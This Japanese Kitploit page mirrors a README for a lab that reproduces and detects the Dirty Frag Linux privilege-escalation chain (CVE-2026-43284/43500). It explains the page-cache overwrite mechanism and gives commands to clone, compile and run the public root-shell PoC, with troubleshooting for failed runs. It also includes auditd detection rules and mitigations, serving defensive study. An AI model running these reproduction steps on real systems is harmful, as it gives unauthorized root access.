Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Dirty-Frag-CVE-2026-43284 — Dirty Fragは、特権のないユーザーがrootアクセスを取得できるようにするLinuxローカル特権昇格(LPE)脆弱性チェーンに関するレポートです。 | Kitploit
ツール/GitHubGitHub/kuniyal08/dirty-frag-cve-2026-43284
特権昇格脆弱性分析エクスプロイトフォレンジック侵入検知学習と教育インシデントレスポンスラボと実践
GitHub

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
kuniyal08/dirty-frag-cve-2026-43284

Dirty-Frag-CVE-2026-43284

Dirty Fragは、特権のないユーザーがrootアクセスを取得できるようにするLinuxローカル特権昇格(LPE)脆弱性チェーンに関するレポートです。

リポジトリを見る
1922日前未レビュー

Dirty Frag (CVE-2026-43284 および CVE-2026-43500)

Linuxカーネルのローカル権限昇格チェーンに対するエクスプロイト再現・検知ラボ。

ステータス: 検証済み。 ラボ(カーネル 6.18.9+kali-amd64)において、再現、ファイルレス検証、およびシステムコールレベルの検知を完了しました。本ドキュメントはラボログです。以下のすべての記述は再現実行中に観測されたものです。スクリーンショットと成果物はVMからの実際のキャプチャです。

目次

  • 概要
  • なぜ重要か
  • 技術的詳細
  • ラボ環境
  • リポジトリ構成
  • 進捗チェックリスト
  • 再現手順
  • 検知エンジニアリング
  • インシデントレスポンス
  • 緩和策
  • トラブルシューティング
  • 参考情報とクレジット
  • 法的・倫理的事項

概要

Dirty Frag は、Linuxカーネルにおける2つの決定的なロジックバグを組み合わせたものです。これらのバグにより、権限のないローカルユーザーが読み取り専用ファイル(例: /usr/bin/su)のページキャッシュを上書きし、rootシェルを取得できます:

両バリアントは、Dirty Pipe および Copy Fail と同じ根本パターンを使用します。splice(2) システムコールは、ファイルのページキャッシュページへの参照を送信側 sk_buff の frag スロットに配置します。攻撃者はこのファイルを読み取り専用でアクセスできます。受信側のカーネルコードは、その frag 上でインプレース暗号STOREを実行します。これによりRAM内のページキャッシュが変更されます。ディスクへの書き込みは発生しないため、ファイル整合性モニタリング(AIDE、Tripwire)では検知できません。この攻撃は決定的です。レースウィンドウはなく、失敗時のカーネルパニックもありません。

  • 影響範囲(上流アドバイザリによる):
    • ESPバリアント: cac2661c53f3(2017‑01)から f4c50a4034e6(2026‑05‑05 パッチ適用)まで
    • RxRPCバリアント: 2dc334f1a63a(2023‑06)から aa54b1d27fe0(2026‑05‑10 パッチ適用)まで
  • 公開PoC: V4bel/dirtyfrag(2026‑05‑07 公開)
  • アドバイザリ: CERT VU#980487、Red Hat Bugzilla 2467771
  • 深刻度(CVSS 3.1、Canonical による): CVE-2026-43284 = 8.8(高)、CVE-2026-43500 = 7.8(高)

なぜ重要か

Dirty Frag はファイルレスLPEです。ディスク上のファイルではなく、メモリ内のページキャッシュを破壊します。従来のファイル整合性モニタリングでは検知できません。検知はシステムコール層で行う必要があります。このチェーンは以下のシステムコールプリミティブを使用します: socket(AF_ALG)/socket(AF_RXRPC)、splice、および unshare(CLONE_NEWUSER|CLONE_NEWNET)。ESPパスは AF_INET UDP および netlink ソケットも作成します。この層が本リポジトリの検知エンジニアリングの焦点です。

技術的詳細

両バリアントは同じシンクを使用します: 攻撃者が splice(2) で配置したページキャッシュページ上にバイトをSTOREするインプレース暗号です。

ESPバリアント(CVE-2026-43284)

  1. 攻撃者はループバック上でUDPソケットペアを開き、受信側を UDP_ENCAP_ESPINUDP で構成します。
  2. 偽造されたESPワイヤヘッダー(SPI、seq_no_lo、IV)を vmsplice でパイプに登録し、その後 splice で対象ファイルオフセットの /usr/bin/su から16バイトを登録します。
  3. 単一の splice がパイプを送信ソケットにプッシュします。splice_to_socket() は MSG_SPLICE_PAGES を設定します。これにより /usr/bin/su のページキャッシュページが skb->frags[0] に直接配置されます。
  4. 受信時に、このシーケンスが実行されます: xfrm4_udp_encap_rcv、続いて xfrm_input、続いて esp_input()。脆弱な skip_cow 分岐(!skb_cloned() && !skb_has_frag_list())は をバイパスします。ページキャッシュページをソースとデスティネーションの両方としてを実行します。

攻撃者は場所(spliceオフセット)と値(4バイト)の両方を制御します。認証検証はストア後に実行されるため、暗号層が書き込みをフラグ付けすることはありません。このバリアントは CAP_NET_ADMIN を必要とし、unshare(CLONE_NEWUSER|CLONE_NEWNET) を使用します。

RxRPCバリアント(CVE-2026-43500)

rxkad_verify_packet_1() は、spliceで固定されたskb frag上で直接、単一ブロックの pcbc(fcrypt) 復号を実行します。最初にデータをコピーしません。攻撃者はセッションキー(add_key("rxrpc", …))を選択し、decrypt(ciphertext) が desired_plaintext と等しくなるようにします。これにより8バイトのSTOREが生成されます。このバリアントは /etc/passwd をターゲットにします。ユーザー名前空間は不要です。rxrpc.ko モジュール(Ubuntuではデフォルトでロード)が必要です。

エクスプロイトの結果

公開PoCは /usr/bin/su をターゲットにします。4バイトずつ48回のESPストア(ファイルオフセット0で192バイト)を書き込みます。最初のページキャッシュバイトを静的rootシェルELFに置き換えます。ELFエントリポイントは setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", …) を実行します。単一の execve("/usr/bin/su") でrootシェルが得られます。

上流の修正

ESPパッチ(メインライン f4c50a4034e6)は、splice() 経由で到着するページfragに SKBFL_SHARED_FRAG フラグをマークします。esp_input() の skip_cow 分岐は現在このフラグもチェックします。共有fragのskbは、インプレースAEAD復号の前に skb_cow_data() を経由します。

RxRPCパッチ(メインライン aa54b1d27fe0)は、既存の skb_cloned() チェックの隣に skb->data_len チェックを追加します。カーネルは、インプレース pcbc(fcrypt) 復号の前に、ページデータを含む非線形skbをコピーします。

ラボ環境

VirtualBoxラボセットアップのスクリーンショット:

VirtualBoxラボセットアップ

リポジトリ構成

root@kitploit:~
.
├── README.md                        # 本ラボログ
├── detection/
│   ├── dirtyfrag.rules              # auditd システムコールレベル検知ルール
│   ├── ausearch_dirtyfrag_observed.txt  # 実際のエクスプロイト検知出力
│   ├── sigma/
│   │   └── dirty_frag_exploit.yml   # SIEM検知用Sigmaルール
│   └── yara/
│       └── dirty_frag_exploit.yar   # ディスク/メモリ上のPoCコード用YARAルール
├── mitigation/
│   └── dirtyfrag_mitigation.sh      # モジュールブラックリスト + ページキャッシュフラッシュ
├── poc/
│   └── check_vulnerable.py          # 非破壊的な事前チェッカー
├── reports/
│   └── incident-dirtyfrag.md        # インシデントレスポンスプレイブック
└── screenshots/                     # ラボVMからの実際のキャプチャ

進捗チェックリスト

  • 事前チェック: poc/check_vulnerable.py を実行し、カーネル/モジュール/usernsを確認
  • VirtualBoxスナップショットを取得(エクスプロイト前の復元ポイント)
  • 非特権 testuser を作成
  • V4bel PoCをクローンしてコンパイル
  • エクスプロイトを実行し、rootシェルを検証
  • ファイルレスを検証: 破損時と復元時の /usr/bin/su ハッシュをキャプチャ
  • 汚染されたページキャッシュをクリーンアップ(drop_caches または再起動)
  • detection/dirtyfrag.rules をデプロイし、auditdアラートを検証
  • 実際のauditd出力からSigmaおよびYARAルールを生成
  • インシデントレスポンスプレイブックを執筆()

再現手順

1. OSとカーネルの確認(事前チェック)

root@kitploit:~
cat /etc/os-release | head -3
uname -r

カーネルバージョン確認のスクリーンショット:

カーネルバージョン 1 カーネルバージョン 2

カーネルは2026年5月の修正(f4c50a4034e6 / aa54b1d27fe0)より古い必要があります。その日付以降に apt upgrade を実行した場合、エクスプロイトは失敗します。トラブルシューティングを参照してください。

2. 非破壊的な脆弱性チェック

安全なチェッカーが、VMが対象となり得るかどうかを報告します。実行中のカーネル、esp4/esp6/rxrpc モジュールの存在、非特権ユーザー名前空間が利用可能かどうかをチェックします。ESPバリアントはこれらの名前空間を必要とします。

root@kitploit:~
python3 poc/check_vulnerable.py

期待される判定: [*] potentially vulnerable -- proceed in a disposable VM only

3. 非特権テストユーザーの作成

非特権の testuser は、特別な権限のない攻撃者をシミュレートします。

root@kitploit:~
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id

スクリーンショット: id はUID 1001を示します。これは非rootアクセスを確認します。

testuser id

4. エクスプロイトのクローンとコンパイル

非特権アカウントから:

root@kitploit:~
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

成功すると、エクスプロイトは /usr/bin/su のページキャッシュをパッチします。4バイトずつ48回のESPストア(ファイルオフセット0で192バイトのrootシェルELF)を書き込みます。その後、forkpty でインタラクティブなrootシェルをドロップします。

モジュールの可用性、ソースレビュー、クリーンなコンパイルのスクリーンショット:

モジュールの可用性 ソースレビュー クリーンなコンパイル

5. 権限昇格の検証

root@kitploit:~
id
whoami

スクリーンショット: ./exp 実行後、id は uid=0(root) を示します。

Rootシェル

6. ファイルレスの検証(ページキャッシュのみの破損)

sha256sum はページキャッシュ経由で読み取ります。エクスプロイトの書き込みがアクティブな間、ハッシュは元のものと異なります。フラッシュ後、ハッシュは元のものに戻ります。この前後のペアは、ディスク上のバイナリが決して変更されていないことを証明します。

root@kitploit:~
sha256sum /usr/bin/su     # 1) ページキャッシュが汚染されている間 -> 異なるハッシュ

スクリーンショット: ハッシュはパッケージハッシュと異なります(RAMが汚染され、ディスクは無傷)。

破損したsha256

観測された破損(ページキャッシュ)ハッシュ: 3fc29078bd77150b5d6fbb368f632bf02c1a3704816f03fb694ec2e81e77bde4

7. エクスプロイト後のクリーンアップと復元確認(重要)

エクスプロイト後、ページキャッシュには破損したデータが含まれます。常にフラッシュしてください:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# またはVMを再起動

その後、復元を確認します(testuser として):

root@kitploit:~
sha256sum /usr/bin/su     # 元のパッケージハッシュと一致する
su -                      # 再度パスワードを要求される — 自動rootなし

スクリーンショット: 復元された(ディスク上の元の)ハッシュ。

復元されたsha256

観測された元の(ディスク上の)ハッシュ: 2b4f8770bd35bba5cdc5cfe292bc1d988e92ec1786bf91cf83e0e86fac056eb6

再起動後、dpkg -V util-linux は出力なしを返しました。ディスク上の /usr/bin/su はパッケージと完全に一致するため、破損した 3fc29078… ハッシュはページキャッシュにのみ存在していました。

drop_caches は汚染されたページを追い出せない場合があります。 これは、実行中のプロセスがまだページをピン留めしている場合に発生します。その場合、sha256sum と dpkg -V は破損したコンテンツを表示し続けます。信頼できる修正は再起動です。dpkg -V もページキャッシュ経由で読み取ることに注意してください。ページが汚染されている間、??5?????? を報告します(MD5が異なります。サイズ、モード、所有者、mtimeはすべて一致します)。再起動後は再び沈黙します。これはディスク上のファイルが決して変更されていないことを証明します。

フラッシュはエクスプロイトを無効化しません。汚染されたページキャッシュをクリアするだけです。モジュールは別途無効化する必要があります(緩和策を参照)。すでにロードされているモジュールを悪用されたホストから削除するには再起動が必要です。

検知エンジニアリング

Dirty Frag はファイル整合性モニタリングでは見えません。検知は、チェーンが必ず使用するシステムコールプリミティブに焦点を当てます。

auditdルール(detection/dirtyfrag.rules)

root@kitploit:~
# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=33 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read

注: Linuxでは AF_ALG = 38、AF_RXRPC = 33 です(/usr/include/bits/socket.h を参照)。以前のドラフトでは a0=21 を使用していました。その値は誤りです。AF_RXRPC は 33 であり、21ではありません。

デプロイと検証:

root@kitploit:~
sudo cp detection/dirtyfrag.rules /etc/audit/rules.d/
sudo systemctl restart auditd   # または: sudo auditctl -D && sudo auditctl -R /etc/audit/rules.d/dirtyfrag.rules
sudo auditctl -l

エクスプロイトを再実行した後の期待されるアラート(PIDで相関):

root@kitploit:~
ausearch -k dirtyfrag_af_alg
ausearch -k dirtyfrag_rxrpc
ausearch -k dirtyfrag_splice
ausearch -k dirtyfrag_namespace

検証済みの検知出力

5つのルールすべてがロードされました(auditctl -R、各 CONFIG_CHANGE で res=1)。ルールはエクスプロイトの名前空間セットアップを捕捉しました:

root@kitploit:~
time->Wed Aug  5 08:26:37 2026
type=PROCTITLE msg=audit(1785932797.328:592): proctitle="./exp"
type=SYSCALL msg=audit(1785932797.328:592): arch=c000003e syscall=272 success=yes exit=0 a0=50000000 a1=0 a2=0 a3=0 items=0 ppid=5198 pid=5199 auid=1000 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts2 ses=2 comm="exp" exe="/home/testuser/dirtyfrag/exp" subj=unconfined key="dirtyfrag_namespace"

デコード: syscall=272(unshare)、a0=50000000 は CLONE_NEWUSER | CLONE_NEWNET に等しい、uid=1001(非特権 testuser)、comm="exp"。完全なログは detection/ausearch_dirtyfrag_observed.txt にあります。

スクリーンショット: ausearch出力はルールのロードとエクスプロイトイベントを示します。

auditdアラート

検知カバレッジ

インシデントレスポンス

完全なプレイブックは reports/incident-dirtyfrag.md にあります: エグゼクティブサマリー、タイムライン、IoCs、MITRE ATT&CKマッピング、封じ込め、根絶、復旧、および教訓。

緩和策

即時のランタイム緩和策。すでにロードされているモジュールについては再起動後も持続しません(下記の注を参照):

root@kitploit:~
sudo mitigation/dirtyfrag_mitigation.sh

実行内容:

  1. /etc/modprobe.d/dirtyfrag.conf に esp4、esp6、rxrpc をブロックする設定を書き込みます。blacklist 行と alias … off 行が含まれます。単純なワンライナーではこれらの行が欠落します(それ以外の場合、エイリアスによる自動ロードが機能していました)。
  2. 現在ロードされている場合はモジュールを削除します。
  3. ページキャッシュをフラッシュして、すでに汚染されたページをドロップします。

影響: これらのモジュールを無効化すると、IPsec VPN(ESP)とAFSファイルシステム(RxRPC)の機能が停止します。

恒久的な修正: 上流パッチを含むカーネルにアップグレードします。または、起動時にモジュールをブラックリスト化します(initcall_blacklist=esp4,esp6,rxrpc)。

トラブルシューティング

参考情報とクレジット

  • 研究、発見、公開PoC: Hyunwoo Kim (@v4bel)、V4bel/dirtyfrag
  • 技術解説: assets/write-up.md
  • CERT/CCアドバイザリ: VU#980487
  • Red Hat CVEトラッカー: CVE-2026-43284 / bug 2467771

法的・倫理的事項

本リポジトリは許可された防御的セキュリティ研究およびトレーニングのみを目的としています。

  • すべての再現は隔離されたVirtualBox VMで実行されました。その後スナップショットを復元しました。
  • テストを許可されていないシステムでPoCを実行しないでください。許可のないエクスプロイトは犯罪行為となる可能性があります。
  • PoCと検知コンテンツは教育目的で公開されています。攻撃を理解することは、それを検知するための基盤です。完全な声明については DISCLAIMER.md を参照してください。

ライセンス

LICENSE を参照してください。本ラボは、自身の隔離された環境での教育用です。テストを許可されていないシステムでPoCを実行しないでください。

ツールをダウンロード
バリアントCVEシンクトリガーパス非特権ユーザー名前空間が必要か
xfrm‑ESP ページキャッシュ書き込みCVE‑2026‑43284esp_input() 内の crypto_authenc_esn_decrypt()UDP‑encap を使用した socket(AF_INET)、続いて xfrm_input()はい(CAP_NET_ADMIN)
RxRPC ページキャッシュ書き込みCVE‑2026‑43500rxkad_verify_packet_1()(pcbc(fcrypt))socket(AF_RXRPC)いいえ
skb_cow_data()
インプレースAEAD復号
  • crypto_authenc_esn_decrypt() はESNの上位32ビットのSTOREを発行します。その値は replay_esn->seq_hi です。攻撃者はSA登録時に XFRMA_REPLAY_ESN_VAL netlink属性でこの値を選択します。
  • コンポーネント詳細
    ハイパーバイザーVirtualBox
    ターゲットVMKali Linux 2026.1(脆弱な状態にスナップショット復元)
    カーネル6.18.9+kali‑amd64(2026年5月の修正より古い)
    エクスプロイトPoCV4bel/dirtyfrag(単一Cファイル)
    検知auditd(detection/dirtyfrag.rules のルール)
    reports/incident-dirtyfrag.md
    レイヤー検知内容ステータス
    auditdAF_ALG および AF_RXRPC ソケット、splice、unshare、SUID読み取りはい。デプロイ済み・検証済み(ルールファイル detection/dirtyfrag.rules)
    SigmaSIEM用システムコールパターンはい。ルール準備済み(detection/sigma/dirty_frag_exploit.yml)
    YARAディスクまたはメモリ上のPoCコードはい。ルール準備済み(detection/yara/dirty_frag_exploit.yar)
    FIM(AIDE/Tripwire)ファイル変更いいえ。ディスク書き込みが発生しないため検知不可
    症状考えられる原因修正
    ./exp が failed / post-write verify failed を出力カーネルがパッチ適用済み(2026年5月以降)古いカーネルで起動するか、更新前のスナップショットを復元。poc/check_vulnerable.py で再確認
    unshare(CLONE_NEWUSER) が EPERM を返す非特権ユーザー名前空間が無効(AppArmorまたはsysctl)sysctl kernel.unprivileged_userns_clone を確認。UbuntuではAppArmorを確認。Kaliはデフォルトで許可
    esp4/esp6/rxrpc がロードされていないモジュールが利用不可sudo modprobe esp4 esp6 rxrpc(RxRPCは socket(AF_RXRPC) で自動ロード)
    su バイナリが「パッチ済み」だがrootシェルなしdrop_caches がすでに実行された、またはページキャッシュがプロセスにピン留めされているエクスプロイトを再実行。スタックした場合はVMを再起動
    エクスプロイト実行後、緩和策後もroot化可能ページキャッシュがフラッシュされていない、またはブラックリスト前にモジュールがすでにロードされているecho 3 > /proc/sys/vm/drop_caches。完全に停止するには再起動が必要